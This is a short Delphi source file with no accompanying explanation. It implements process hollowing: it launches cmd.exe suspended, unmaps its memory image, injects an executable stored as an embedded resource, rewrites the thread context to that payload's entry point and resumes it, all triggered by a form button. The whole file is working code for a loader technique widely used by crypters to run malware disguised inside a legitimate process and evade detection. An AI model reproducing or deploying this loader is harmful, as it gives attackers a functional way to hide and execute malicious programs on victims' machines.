{$R EXE.res}
Function ZwUnmapViewOfSection(SectionHandle: THandle; p: Pointer): DWord; stdcall;
external 'ntdll.dll' name 'ZwUnmapViewOfSection';
Procedure RunExeFromMemory(Image:Pointer);
Var
PI: TProcessInformation;
SI: TStartupInfo;
HView,Mem: Pointer;
Headers: PIMAGENTHEADERS;
Section: PIMAGESECTIONHEADER;
Context: TContext;
A,Size,Dummy: DWORD;
Const
Mapping: Array[0..7] of DWORD=(PAGE_NOACCESS,PAGE_EXECUTE,PAGE_READONLY,PAGE_EXECUTE_READ,PAGE_READWRITE,
PAGE_EXECUTE_READWRITE,PAGE_READWRITE,PAGE_EXECUTE_READWRITE);
begin
FillChar(SI,SizeOf(SI),0);
SI.cb:= SizeOf(SI);
Win32Check(CreateProcess(nil,'cmd.exe',nil,nil,False,CREATE_SUSPENDED,nil,nil,SI,PI));
try
try
Context.ContextFlags:=CONTEXT_INTEGER;
Win32Check(GetThreadContext(PI.hThread,Context));
Win32Check(ReadProcessMemory(PI.hProcess,Pointer(Context.Ebx+8),@HView,SizeOf(HView),Size)and(Size=SizeOf(HView)));
Win32Check(ZwUnmapViewOfSection(PI.hProcess,HView)=0);
Headers:= PIMAGENTHEADERS(DWORD(Image)+PIMAGEDOSHEADER(Image)._lfanew);
Mem:= VirtualAllocEx(PI.hProcess,Pointer(Headers.OptionalHeader.ImageBase),Headers.OptionalHeader.SizeOfImage,
MEM_RESERVE or MEM_COMMIT,PAGE_EXECUTE_READWRITE);
Win32Check(Mem<>nil);
Win32Check(WriteProcessMemory(PI.hProcess,Mem,Image,Headers.OptionalHeader.SizeOfHeaders,Size)and(Headers.OptionalHeader.SizeOfHeaders=Size));
Section:= PIMAGESECTIONHEADER(Headers);
Inc(PIMAGENTHEADERS(Section));
For A:= 0 to Headers.FileHeader.NumberOfSections-1 do begin
if Section.SizeOfRawData>0 then
begin
Win32Check(WriteProcessMemory(PI.hProcess,PChar(Mem)+Section.VirtualAddress,
PChar(Image)+Section.PointerToRawData,Section.SizeOfRawData,Size)and(Section.SizeOfRawData=Size));
Win32Check(VirtualProtectEx(PI.hProcess,PChar(Mem)+Section.VirtualAddress,Section.SizeOfRawData,Mapping[Section.Characteristics shr 29],@Dummy));
end;
Inc(Section);
end;
Win32Check(WriteProcessMemory(PI.hProcess,Pointer(Context.Ebx+8),@Mem,SizeOf(Mem),Size)and(SizeOf(Mem)=Size));
Context.Eax:=DWORD(Mem)+Headers.OptionalHeader.AddressOfEntryPoint;
Win32Check(SetThreadContext(PI.hThread,Context));
Win32Check(ResumeThread(PI.hThread)<>$FFFFFFFF);
Except
TerminateProcess(PI.hProcess,0);
Raise;
end;
Finally
CloseHandle(PI.hProcess);
CloseHandle(PI.hThread);
end;
end;
Procedure ResExe;
Var
EHandle: THandle;
EPointer: Pointer;
begin
EHandle:= FindResource(hInstance, 'EXE', RT_RCDATA);
if EHandle <> 0 then
begin
EHandle:= LoadResource(hInstance, EHandle);
if EHandle <> 0 then
begin
EPointer:= LockResource(EHandle);
RunExeFromMemory(EPointer);
UnlockResource(EHandle);
FreeResource(EHandle);
end;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
ResExe;
end;